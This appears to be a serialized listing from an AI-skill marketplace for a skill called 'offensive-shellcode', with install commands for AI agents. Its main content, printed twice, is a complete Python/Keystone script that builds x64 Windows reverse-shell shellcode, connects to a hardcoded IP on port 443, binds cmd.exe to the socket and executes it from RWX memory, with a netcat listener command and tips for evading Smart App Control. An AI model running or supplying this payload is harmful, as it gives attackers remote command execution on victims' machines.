[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71FX10RBWPB7YVXJZW059JW":3,"skill-same:01M71FX10RBWPB7YVXJZW059JW":63},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":31,"linkOnly":32,"markdownContent":33,"markdownBody":34,"frontMatter":35,"refName":36,"commitSha":37,"skillDirectory":38,"forksCount":14,"repositoryHtmlUrl":39,"repositoryHomepageUrl":6,"ownerHtmlUrl":40,"ownerBlogUrl":6,"ownerDescription":41,"updatedAt":42,"install":43,"resources":56},"01M71FX10RBWPB7YVXJZW059JW","offensive-shellcode",null,"> **Windows 11 23H2:** Smart App Control may block outbound TCP 443\u002F4444 to local subnets.","DCx7C5\u002Fai-marketplace","DCx7C5","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42419559?v=4","01M71C01G2AZV3NTNGWAWSHJPP","DC","01M71C01GQW6G50S2BYMS7PP3E",0,"MIT","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Foffensive-shellcode\u002FSKILL.md",[],[19,20,21,22,23,24,25,26,27,28,29,30],"shellcode","offensive shellcode","offensive","app","windows","tcp","control","windows 11","block","local","cybersecurity","outbound","2026-11-10 10:12:30",false,"---\nname: offensive-shellcode\ndescription: \"> **Windows 11 23H2:** Smart App Control may block outbound TCP 443\u002F4444 to local subnets.\"\ndomain: cybersecurity\n---\n\n## Full x64 Reverse Shell Shellcode (Windows)\n\nComplete Python\u002FKeystone example implementing PEB walk → `GetProcAddress` → `LoadLibraryA` → Winsock connect → `CreateProcessA(cmd.exe)`:\n\n```python\nimport ctypes, struct\nfrom keystone import *\n\nCODE = (\n# Locate kernel32 Base Address\n    \" start:                         \"\n    \"   add rsp, 0xfffffffffffffdf8 ;\" # Avoid Null Byte and make some space\n    \" find_kernel32:                 \"\n    \"   int3                        ;\" # WinDbg breakpoint (disable for release)\n    \"   xor rcx, rcx                ;\"\n    \"   mov rax, gs:[rcx + 0x60]    ;\" # RAX = PEB\n    \"   mov rax, [rax + 0x18]       ;\" # RAX = PEB->Ldr\n    \"   mov rsi, [rax + 0x20]       ;\" # RSI = InMemoryOrderModuleList\n    \"   lodsq                       ;\"\n    \"   xchg rax, rsi               ;\"\n    \"   lodsq                       ;\"\n    \"   mov rbx, [rax + 0x20]       ;\" # RBX = kernel32 base\n    \"   mov r8, rbx                 ;\"\n# Parse Export Address Table\n    \"   mov ebx, [rbx+0x3C]         ;\" # PE signature offset\n    \"   add rbx, r8                 ;\" # RBX = PE header\n    \"   xor r12,r12                 ;\"\n    \"   add r12, 0x88FFFFF          ;\"\n    \"   shr r12, 0x14               ;\"\n    \"   mov edx, [rbx+r12]          ;\" # EAT RVA\n    \"   add rdx, r8                 ;\" # RDX = EAT VA\n    \"   mov r10d, [rdx+0x14]        ;\" # NumberOfFunctions\n    \"   xor r11, r11                ;\"\n    \"   mov r11d, [rdx+0x20]        ;\" # AddressOfNames RVA\n    \"   add r11, r8                 ;\" # AddressOfNames VA\n# Find GetProcAddress\n    \"   mov rcx, r10                ;\"\n    \" k32findfunction:               \"\n    \"   jecxz functionfound         ;\"\n    \"   xor ebx,ebx                 ;\"\n    \"   mov ebx, [r11+4+rcx*4]      ;\" # Function name RVA\n    \"   add rbx, r8                 ;\" # Function name VA\n    \"   dec rcx                     ;\"\n    \"   mov rax, 0x41636f7250746547 ;\" # 'GetProcA'\n    \"   cmp [rbx], rax              ;\"\n    \"   jnz k32findfunction         ;\"\n# Get function address\n    \" functionfound:                 \"\n    \"   xor r11, r11                ;\"\n    \"   mov r11d, [rdx+0x24]        ;\" # AddressOfNameOrdinals RVA\n    \"   add r11, r8                 ;\"\n    \"   inc rcx                     ;\"\n    \"   mov r13w, [r11+rcx*2]       ;\" # Ordinal\n    \"   xor r11, r11                ;\"\n    \"   mov r11d, [rdx+0x1c]        ;\" # AddressOfFunctions RVA\n    \"   add r11, r8                 ;\"\n    \"   mov eax, [r11+4+r13*4]      ;\"\n    \"   add rax, r8                 ;\" # GetProcAddress VA\n    \"   mov r14, rax                ;\" # R14 = GetProcAddress\n# Resolve LoadLibraryA\n    \"   mov rcx, 0x41797261         ;\"\n    \"   push rcx                    ;\"\n    \"   mov rcx, 0x7262694c64616f4c ;\"\n    \"   push rcx                    ;\" # 'LoadLibraryA'\n    \"   mov rdx, rsp                ;\"\n    \"   mov rcx, r8                 ;\" # kernel32 base\n    \"   sub rsp, 0x30               ;\"\n    \"   call r14                    ;\" # GetProcAddress(kernel32, LoadLibraryA)\n    \"   add rsp, 0x40               ;\"\n    \"   mov rsi, rax                ;\" # RSI = LoadLibraryA\n# LoadLibrary(\"WS2_32.dll\")\n    \"   xor rax, rax                ;\"\n    \"   mov rax, 0x6C6C             ;\"\n    \"   push rax                    ;\"\n    \"   mov rax, 0x642E32335F325357 ;\"\n    \"   push rax                    ;\" # 'WS2_32.dll'\n    \"   mov rcx, rsp                ;\"\n    \"   sub rsp, 0x30               ;\"\n    \"   call rsi                    ;\" # LoadLibraryA(\"WS2_32.dll\")\n    \"   mov r15, rax                ;\" # R15 = WS2_32 base\n    \"   add rsp, 0x40               ;\"\n# WSAStartup\n    \"   mov rax, 0x7075             ;\"\n    \"   push rax                    ;\"\n    \"   mov rax, 0x7472617453415357 ;\"\n    \"   push rax                    ;\" # 'WSAStartup'\n    \"   mov rdx, rsp                ;\"\n    \"   mov rcx, r15                ;\"\n    \"   sub rsp, 0x30               ;\"\n    \"   call r14                    ;\" # GetProcAddress(ws2_32, WSAStartup)\n    \"   add rsp, 0x40               ;\"\n    \"   mov r12, rax                ;\"\n    \"   xor rcx,rcx                 ;\"\n    \"   mov cx,408                  ;\"\n    \"   sub rsp,rcx                 ;\"\n    \"   lea rdx,[rsp]               ;\" # lpWSAData\n    \"   mov cx,514                  ;\" # wVersionRequired = 2.2\n    \"   sub rsp,88                  ;\"\n    \"   call r12                    ;\" # WSAStartup\n# WSASocketA — create socket\n    \"   mov rax, 0x4174             ;\"\n    \"   push rax                    ;\"\n    \"   mov rax, 0x656b636f53415357 ;\"\n    \"   push rax                    ;\" # 'WSASocketA'\n    \"   mov rdx, rsp                ;\"\n    \"   mov rcx, r15                ;\"\n    \"   sub rsp, 0x30               ;\"\n    \"   call r14                    ;\"\n    \"   add rsp, 0x40               ;\"\n    \"   mov r12, rax                ;\"\n    \"   sub rsp,0x208               ;\"\n    \"   xor rdx, rdx                ;\"\n    \"   sub rsp, 88                 ;\"\n    \"   mov [rsp+32], rdx           ;\"\n    \"   mov [rsp+40], rdx           ;\"\n    \"   inc rdx                     ;\"\n    \"   mov rcx, rdx                ;\"\n    \"   inc rcx                     ;\"\n    \"   xor r8,r8                   ;\"\n    \"   add r8,6                    ;\"\n    \"   xor r9,r9                   ;\"\n    \"   mov r9w,98*4                ;\"\n    \"   mov ebx,[r15+r9]            ;\"\n    \"   xor r9,r9                   ;\"\n    \"   call r12                    ;\" # WSASocketA\n    \"   mov r13, rax                ;\" # R13 = socket handle\n    \"   add rsp, 0x208              ;\"\n# WSAConnect — connect to C2\n    \"   mov rax, 0x7463             ;\"\n    \"   push rax                    ;\"\n    \"   mov rax, 0x656e6e6f43415357 ;\"\n    \"   push rax                    ;\" # 'WSAConnect'\n    \"   mov rdx, rsp                ;\"\n    \"   mov rcx, r15                ;\"\n    \"   sub rsp, 0x30               ;\"\n    \"   call r14                    ;\"\n    \"   add rsp, 0x40               ;\"\n    \"   mov r12, rax                ;\"\n    \"   mov rcx, r13                ;\" # socket handle\n    \"   sub rsp,0x208               ;\"\n    \"   xor rax,rax                 ;\"\n    \"   inc rax                     ;\"\n    \"   inc rax                     ;\"\n    \"   mov [rsp], rax              ;\" # AF_INET = 2\n    \"   mov rax, 0xbb01             ;\" # Port 443 (big-endian)\n    \"   mov [rsp+2], rax            ;\"\n    \"   mov rax, 0x31061fac         ;\" # IP 172.31.6.49 — UPDATE THIS\n    \"   mov [rsp+4], rax            ;\"\n    \"   lea rdx,[rsp]               ;\"\n    \"   mov r8, 0x16                ;\" # sizeof(sockaddr_in)\n    \"   xor r9,r9                   ;\"\n    \"   push r9                     ;\"\n    \"   push r9                     ;\"\n    \"   push r9                     ;\"\n    \"   sub rsp, 0x88               ;\"\n    \"   call r12                    ;\" # WSAConnect\n# Re-locate kernel32 and resolve CreateProcessA\n    \"   xor rcx, rcx                ;\"\n    \"   mov rax, gs:[rcx + 0x60]    ;\"\n    \"   mov rax, [rax + 0x18]       ;\"\n    \"   mov rsi, [rax + 0x20]       ;\"\n    \"   lodsq                       ;\"\n    \"   xchg rax, rsi               ;\"\n    \"   lodsq                       ;\"\n    \"   mov rbx, [rax + 0x20]       ;\"\n    \"   mov r8, rbx                 ;\"\n    \"   mov rax, 0x41737365636f     ;\"\n    \"   push rax                    ;\"\n    \"   mov rax, 0x7250657461657243 ;\"\n    \"   push rax                    ;\" # 'CreateProcessA'\n    \"   mov rdx, rsp                ;\"\n    \"   mov rcx, r8                 ;\"\n    \"   sub rsp, 0x30               ;\"\n    \"   call r14                    ;\"\n    \"   add rsp, 0x40               ;\"\n    \"   mov r12, rax                ;\" # R12 = CreateProcessA\n# Push cmd.exe + build STARTUPINFOA\n    \"   mov rax, 0x6578652e646d63   ;\"\n    \"   push rax                    ;\" # 'cmd.exe'\n    \"   mov rcx, rsp                ;\" # lpApplicationName\n    \"   push r13                    ;\" # hStdError = socket\n    \"   push r13                    ;\" # hStdOutput = socket\n    \"   push r13                    ;\" # hStdInput = socket\n    \"   xor rax,rax                 ;\"\n    \"   push ax                     ;\"\n    \"   push rax                    ;\"\n    \"   push rax                    ;\"\n    \"   mov rax, 0x100              ;\" # STARTF_USESTDHANDLES\n    \"   push ax                     ;\"\n    \"   xor rax,rax                 ;\"\n    \"   push ax                     ;\"\n    \"   push ax                     ;\"\n    \"   push rax                    ;\"\n    \"   push rax                    ;\"\n    \"   push rax                    ;\"\n    \"   push rax                    ;\"\n    \"   push rax                    ;\"\n    \"   push rax                    ;\"\n    \"   mov rax, 0x68               ;\"\n    \"   push rax                    ;\" # cb = 0x68\n    \"   mov rdi,rsp                 ;\" # RDI = &STARTUPINFOA\n# Call CreateProcessA\n    \"   mov rax, rsp                ;\"\n    \"   sub rax, 0x500              ;\"\n    \"   push rax                    ;\" # lpProcessInformation\n    \"   push rdi                    ;\" # lpStartupInfo\n    \"   xor rax, rax                ;\"\n    \"   push rax                    ;\" # lpCurrentDirectory = NULL\n    \"   push rax                    ;\" # lpEnvironment = NULL\n    \"   push rax                    ;\"\n    \"   inc rax                     ;\"\n    \"   push rax                    ;\" # bInheritHandles = TRUE\n    \"   xor rax, rax                ;\"\n    \"   push rax                    ;\"\n    \"   push rax                    ;\"\n    \"   push rax                    ;\"\n    \"   push rax                    ;\" # dwCreationFlags = 0\n    \"   mov r8, rax                 ;\" # lpThreadAttributes = NULL\n    \"   mov r9, rax                 ;\" # lpProcessAttributes = NULL\n    \"   mov rdx, rcx                ;\" # lpCommandLine = 'cmd.exe'\n    \"   mov rcx, rax                ;\" # lpApplicationName = NULL\n    \"   call r12                    ;\" # CreateProcessA\n)\n\nks = Ks(KS_ARCH_X86, KS_MODE_64)\nencoding, count = ks.asm(CODE)\nprint(\"Encoded %d instructions...\" % count)\n\nsh = b\"\"\nfor e in encoding:\n    sh += struct.pack(\"B\", e)\nshellcode = bytearray(sh)\n\nctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p\nctypes.windll.kernel32.RtlCopyMemory.argtypes = (ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t)\nctypes.windll.kernel32.CreateThread.argtypes = (\n    ctypes.c_int, ctypes.c_int, ctypes.c_void_p,\n    ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int),\n)\n\nptr = ctypes.windll.kernel32.VirtualAlloc(\n    ctypes.c_int(0), ctypes.c_int(len(shellcode)),\n    ctypes.c_int(0x3000), ctypes.c_int(0x40)\n)\nbuf = (ctypes.c_char * len(shellcode)).from_buffer_copy(shellcode)\nctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(ptr), buf, ctypes.c_int(len(shellcode)))\n\nprint(\"Shellcode at %s\" % hex(ptr))\ninput(\"Press ENTER to execute...\")\n\nht = ctypes.windll.kernel32.CreateThread(\n    ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(ptr),\n    ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)),\n)\nctypes.windll.kernel32.WaitForSingleObject(ht, -1)\n```\n\n> **Note:** Update IP (`0x31061fac`) and port (`0xbb01`) before use. Listener: `nc -nvlp 443`\n>\n> **Windows 11 23H2:** Smart App Control may block outbound TCP 443\u002F4444 to local subnets. Use a non-standard port or a named-pipe payload.\n","## Full x64 Reverse Shell Shellcode (Windows)\n\nComplete Python\u002FKeystone example implementing PEB walk → `GetProcAddress` → `LoadLibraryA` → Winsock connect → `CreateProcessA(cmd.exe)`:\n\n```python\nimport ctypes, struct\nfrom keystone import *\n\nCODE = (\n# Locate kernel32 Base Address\n    \" start:                         \"\n    \"   add rsp, 0xfffffffffffffdf8 ;\" # Avoid Null Byte and make some space\n    \" find_kernel32:                 \"\n    \"   int3                        ;\" # WinDbg breakpoint (disable for release)\n    \"   xor rcx, rcx                ;\"\n    \"   mov rax, gs:[rcx + 0x60]    ;\" # RAX = PEB\n    \"   mov rax, [rax + 0x18]       ;\" # RAX = PEB->Ldr\n    \"   mov rsi, [rax + 0x20]       ;\" # RSI = InMemoryOrderModuleList\n    \"   lodsq                       ;\"\n    \"   xchg rax, rsi               ;\"\n    \"   lodsq                       ;\"\n    \"   mov rbx, [rax + 0x20]       ;\" # RBX = kernel32 base\n    \"   mov r8, rbx                 ;\"\n# Parse Export Address Table\n    \"   mov ebx, [rbx+0x3C]         ;\" # PE signature offset\n    \"   add rbx, r8                 ;\" # RBX = PE header\n    \"   xor r12,r12                 ;\"\n    \"   add r12, 0x88FFFFF          ;\"\n    \"   shr r12, 0x14               ;\"\n    \"   mov edx, [rbx+r12]          ;\" # EAT RVA\n    \"   add rdx, r8                 ;\" # RDX = EAT VA\n    \"   mov r10d, [rdx+0x14]        ;\" # NumberOfFunctions\n    \"   xor r11, r11                ;\"\n    \"   mov r11d, [rdx+0x20]        ;\" # AddressOfNames RVA\n    \"   add r11, r8                 ;\" # AddressOfNames VA\n# Find GetProcAddress\n    \"   mov rcx, r10                ;\"\n    \" k32findfunction:               \"\n    \"   jecxz functionfound         ;\"\n    \"   xor ebx,ebx                 ;\"\n    \"   mov ebx, [r11+4+rcx*4]      ;\" # Function name RVA\n    \"   add rbx, r8                 ;\" # Function name VA\n    \"   dec rcx                     ;\"\n    \"   mov rax, 0x41636f7250746547 ;\" # 'GetProcA'\n    \"   cmp [rbx], rax              ;\"\n    \"   jnz k32findfunction         ;\"\n# Get function address\n    \" functionfound:                 \"\n    \"   xor r11, r11                ;\"\n    \"   mov r11d, [rdx+0x24]        ;\" # AddressOfNameOrdinals RVA\n    \"   add r11, r8                 ;\"\n    \"   inc rcx                     ;\"\n    \"   mov r13w, [r11+rcx*2]       ;\" # Ordinal\n    \"   xor r11, r11                ;\"\n    \"   mov r11d, [rdx+0x1c]        ;\" # AddressOfFunctions RVA\n    \"   add r11, r8                 ;\"\n    \"   mov eax, [r11+4+r13*4]      ;\"\n    \"   add rax, r8                 ;\" # GetProcAddress VA\n    \"   mov r14, rax                ;\" # R14 = GetProcAddress\n# Resolve LoadLibraryA\n    \"   mov rcx, 0x41797261         ;\"\n    \"   push rcx                    ;\"\n    \"   mov rcx, 0x7262694c64616f4c ;\"\n    \"   push rcx                    ;\" # 'LoadLibraryA'\n    \"   mov rdx, rsp                ;\"\n    \"   mov rcx, r8                 ;\" # kernel32 base\n    \"   sub rsp, 0x30               ;\"\n    \"   call r14                    ;\" # GetProcAddress(kernel32, LoadLibraryA)\n    \"   add rsp, 0x40               ;\"\n    \"   mov rsi, rax                ;\" # RSI = LoadLibraryA\n# LoadLibrary(\"WS2_32.dll\")\n    \"   xor rax, rax                ;\"\n    \"   mov rax, 0x6C6C             ;\"\n    \"   push rax                    ;\"\n    \"   mov rax, 0x642E32335F325357 ;\"\n    \"   push rax                    ;\" # 'WS2_32.dll'\n    \"   mov rcx, rsp                ;\"\n    \"   sub rsp, 0x30               ;\"\n    \"   call rsi                    ;\" # LoadLibraryA(\"WS2_32.dll\")\n    \"   mov r15, rax                ;\" # R15 = WS2_32 base\n    \"   add rsp, 0x40               ;\"\n# WSAStartup\n    \"   mov rax, 0x7075             ;\"\n    \"   push rax                    ;\"\n    \"   mov rax, 0x7472617453415357 ;\"\n    \"   push rax                    ;\" # 'WSAStartup'\n    \"   mov rdx, rsp                ;\"\n    \"   mov rcx, r15                ;\"\n    \"   sub rsp, 0x30               ;\"\n    \"   call r14                    ;\" # GetProcAddress(ws2_32, WSAStartup)\n    \"   add rsp, 0x40               ;\"\n    \"   mov r12, rax                ;\"\n    \"   xor rcx,rcx                 ;\"\n    \"   mov cx,408                  ;\"\n    \"   sub rsp,rcx                 ;\"\n    \"   lea rdx,[rsp]               ;\" # lpWSAData\n    \"   mov cx,514                  ;\" # wVersionRequired = 2.2\n    \"   sub rsp,88                  ;\"\n    \"   call r12                    ;\" # WSAStartup\n# WSASocketA — create socket\n    \"   mov rax, 0x4174             ;\"\n    \"   push rax                    ;\"\n    \"   mov rax, 0x656b636f53415357 ;\"\n    \"   push rax                    ;\" # 'WSASocketA'\n    \"   mov rdx, rsp                ;\"\n    \"   mov rcx, r15                ;\"\n    \"   sub rsp, 0x30               ;\"\n    \"   call r14                    ;\"\n    \"   add rsp, 0x40               ;\"\n    \"   mov r12, rax                ;\"\n    \"   sub rsp,0x208               ;\"\n    \"   xor rdx, rdx                ;\"\n    \"   sub rsp, 88                 ;\"\n    \"   mov [rsp+32], rdx           ;\"\n    \"   mov [rsp+40], rdx           ;\"\n    \"   inc rdx                     ;\"\n    \"   mov rcx, rdx                ;\"\n    \"   inc rcx                     ;\"\n    \"   xor r8,r8                   ;\"\n    \"   add r8,6                    ;\"\n    \"   xor r9,r9                   ;\"\n    \"   mov r9w,98*4                ;\"\n    \"   mov ebx,[r15+r9]            ;\"\n    \"   xor r9,r9                   ;\"\n    \"   call r12                    ;\" # WSASocketA\n    \"   mov r13, rax                ;\" # R13 = socket handle\n    \"   add rsp, 0x208              ;\"\n# WSAConnect — connect to C2\n    \"   mov rax, 0x7463             ;\"\n    \"   push rax                    ;\"\n    \"   mov rax, 0x656e6e6f43415357 ;\"\n    \"   push rax                    ;\" # 'WSAConnect'\n    \"   mov rdx, rsp                ;\"\n    \"   mov rcx, r15                ;\"\n    \"   sub rsp, 0x30               ;\"\n    \"   call r14                    ;\"\n    \"   add rsp, 0x40               ;\"\n    \"   mov r12, rax                ;\"\n    \"   mov rcx, r13                ;\" # socket handle\n    \"   sub rsp,0x208               ;\"\n    \"   xor rax,rax                 ;\"\n    \"   inc rax                     ;\"\n    \"   inc rax                     ;\"\n    \"   mov [rsp], rax              ;\" # AF_INET = 2\n    \"   mov rax, 0xbb01             ;\" # Port 443 (big-endian)\n    \"   mov [rsp+2], rax            ;\"\n    \"   mov rax, 0x31061fac         ;\" # IP 172.31.6.49 — UPDATE THIS\n    \"   mov [rsp+4], rax            ;\"\n    \"   lea rdx,[rsp]               ;\"\n    \"   mov r8, 0x16                ;\" # sizeof(sockaddr_in)\n    \"   xor r9,r9                   ;\"\n    \"   push r9                     ;\"\n    \"   push r9                     ;\"\n    \"   push r9                     ;\"\n    \"   sub rsp, 0x88               ;\"\n    \"   call r12                    ;\" # WSAConnect\n# Re-locate kernel32 and resolve CreateProcessA\n    \"   xor rcx, rcx                ;\"\n    \"   mov rax, gs:[rcx + 0x60]    ;\"\n    \"   mov rax, [rax + 0x18]       ;\"\n    \"   mov rsi, [rax + 0x20]       ;\"\n    \"   lodsq                       ;\"\n    \"   xchg rax, rsi               ;\"\n    \"   lodsq                       ;\"\n    \"   mov rbx, [rax + 0x20]       ;\"\n    \"   mov r8, rbx                 ;\"\n    \"   mov rax, 0x41737365636f     ;\"\n    \"   push rax                    ;\"\n    \"   mov rax, 0x7250657461657243 ;\"\n    \"   push rax                    ;\" # 'CreateProcessA'\n    \"   mov rdx, rsp                ;\"\n    \"   mov rcx, r8                 ;\"\n    \"   sub rsp, 0x30               ;\"\n    \"   call r14                    ;\"\n    \"   add rsp, 0x40               ;\"\n    \"   mov r12, rax                ;\" # R12 = CreateProcessA\n# Push cmd.exe + build STARTUPINFOA\n    \"   mov rax, 0x6578652e646d63   ;\"\n    \"   push rax                    ;\" # 'cmd.exe'\n    \"   mov rcx, rsp                ;\" # lpApplicationName\n    \"   push r13                    ;\" # hStdError = socket\n    \"   push r13                    ;\" # hStdOutput = socket\n    \"   push r13                    ;\" # hStdInput = socket\n    \"   xor rax,rax                 ;\"\n    \"   push ax                     ;\"\n    \"   push rax                    ;\"\n    \"   push rax                    ;\"\n    \"   mov rax, 0x100              ;\" # STARTF_USESTDHANDLES\n    \"   push ax                     ;\"\n    \"   xor rax,rax                 ;\"\n    \"   push ax                     ;\"\n    \"   push ax                     ;\"\n    \"   push rax                    ;\"\n    \"   push rax                    ;\"\n    \"   push rax                    ;\"\n    \"   push rax                    ;\"\n    \"   push rax                    ;\"\n    \"   push rax                    ;\"\n    \"   mov rax, 0x68               ;\"\n    \"   push rax                    ;\" # cb = 0x68\n    \"   mov rdi,rsp                 ;\" # RDI = &STARTUPINFOA\n# Call CreateProcessA\n    \"   mov rax, rsp                ;\"\n    \"   sub rax, 0x500              ;\"\n    \"   push rax                    ;\" # lpProcessInformation\n    \"   push rdi                    ;\" # lpStartupInfo\n    \"   xor rax, rax                ;\"\n    \"   push rax                    ;\" # lpCurrentDirectory = NULL\n    \"   push rax                    ;\" # lpEnvironment = NULL\n    \"   push rax                    ;\"\n    \"   inc rax                     ;\"\n    \"   push rax                    ;\" # bInheritHandles = TRUE\n    \"   xor rax, rax                ;\"\n    \"   push rax                    ;\"\n    \"   push rax                    ;\"\n    \"   push rax                    ;\"\n    \"   push rax                    ;\" # dwCreationFlags = 0\n    \"   mov r8, rax                 ;\" # lpThreadAttributes = NULL\n    \"   mov r9, rax                 ;\" # lpProcessAttributes = NULL\n    \"   mov rdx, rcx                ;\" # lpCommandLine = 'cmd.exe'\n    \"   mov rcx, rax                ;\" # lpApplicationName = NULL\n    \"   call r12                    ;\" # CreateProcessA\n)\n\nks = Ks(KS_ARCH_X86, KS_MODE_64)\nencoding, count = ks.asm(CODE)\nprint(\"Encoded %d instructions...\" % count)\n\nsh = b\"\"\nfor e in encoding:\n    sh += struct.pack(\"B\", e)\nshellcode = bytearray(sh)\n\nctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p\nctypes.windll.kernel32.RtlCopyMemory.argtypes = (ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t)\nctypes.windll.kernel32.CreateThread.argtypes = (\n    ctypes.c_int, ctypes.c_int, ctypes.c_void_p,\n    ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int),\n)\n\nptr = ctypes.windll.kernel32.VirtualAlloc(\n    ctypes.c_int(0), ctypes.c_int(len(shellcode)),\n    ctypes.c_int(0x3000), ctypes.c_int(0x40)\n)\nbuf = (ctypes.c_char * len(shellcode)).from_buffer_copy(shellcode)\nctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(ptr), buf, ctypes.c_int(len(shellcode)))\n\nprint(\"Shellcode at %s\" % hex(ptr))\ninput(\"Press ENTER to execute...\")\n\nht = ctypes.windll.kernel32.CreateThread(\n    ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(ptr),\n    ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)),\n)\nctypes.windll.kernel32.WaitForSingleObject(ht, -1)\n```\n\n> **Note:** Update IP (`0x31061fac`) and port (`0xbb01`) before use. Listener: `nc -nvlp 443`\n>\n> **Windows 11 23H2:** Smart App Control may block outbound TCP 443\u002F4444 to local subnets. Use a non-standard port or a named-pipe payload.\n",{"name":5,"domain":29,"description":7},"main","a91f1293287ffa9f4f1b8f486cd6e835a1568c84","skills\u002Foffensive-shellcode","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace","https:\u002F\u002Fgithub.com\u002FDCx7C5","#Python","2026-09-01 11:21:00",{"source":8,"skillName":5,"commands":44,"prompt":54,"zipAvailable":55},[45,48,51],{"tool":46,"command":47},"npx","npx skills add DCx7C5\u002Fai-marketplace --skill offensive-shellcode",{"tool":49,"command":50},"bunx","bunx skills add DCx7C5\u002Fai-marketplace --skill offensive-shellcode",{"tool":52,"command":53},"pnpm","pnpm dlx skills add DCx7C5\u002Fai-marketplace --skill offensive-shellcode","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Foffensive-shellcode\u002FSKILL.md",true,[57],{"path":58,"resourceType":59,"resourceTypeDesc":60,"sizeBytes":61,"sourceHtmlUrl":62},"index.json","REFERENCE","参考文档",546,"https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Foffensive-shellcode\u002Findex.json",[64,74,99,122,144,165],{"skillNo":65,"name":66,"nameZh":6,"description":67,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":68,"licenseFileUrl":69,"sourceHtmlUrl":70,"categories":71,"keywords":72,"publishedAt":73},"01M73MDK3NT5XHNYTQ5P5172V9","devel-jb-algorithmic-art","- Embed algorithms inline in the HTML artifact (don't create separate .","Apache-2.0","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fdevel-jb-algorithmic-art\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fdevel-jb-algorithmic-art\u002FSKILL.md",[],[],"2026-11-11 15:11:14",{"skillNo":75,"name":76,"nameZh":6,"description":77,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":78,"categories":79,"keywords":80,"publishedAt":31},"01M71HAPZ01KQ30RKTB0FFSQ05","services-wmi-persistence-detect","Detect WMI event subscription persistence by enumerating ActiveScriptEventConsumer, CommandLineEventConsumer, and permanent subscriptions in the WMI repository.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fpersistence\u002Fdetect\u002FSKILL.md",[],[81,82,83,84,85,86,87,29,88,89,90,91,92,93,94,95,96,97,98],"services","detect","services wmi persistence detect","wmi","persistence","process-forensics","process","forensics","t1546.003","event-subscription","subscription","repository","commandline-consumer","subscriptions","event","activescript","cm","de",{"skillNo":100,"name":101,"nameZh":6,"description":102,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":103,"categories":104,"keywords":105,"publishedAt":31},"01M71HAK6JTTTS229T17WJMMCG","services-wmi-exec-exploit","Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fexec\u002Fexploit\u002FSKILL.md",[],[106,84,107,81,108,109,110,111,112,29,113,114,115,116,117,118,119,120,98,121],"exec","services wmi exec exploit","exploit","across","Bash","analysis","team","traffic","remote","crackmapexec","Impacket","lateral-movement","read","lateral movement","command","native",{"skillNo":123,"name":124,"nameZh":6,"description":125,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":126,"categories":127,"keywords":128,"publishedAt":31},"01M71HAG6MHKNQV8KDZKMT4886","registry-artifact-extract","Extract and analyze Windows Registry hives to uncover user activity, installed software, autostart entries, and evidence of system compromise.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fregistry\u002Fartifact\u002Fextract\u002FSKILL.md",[],[129,130,131,132,133,134,135,136,137,138,118,98,139,140,111,141,110,29,142,143],"extract","registry artifact 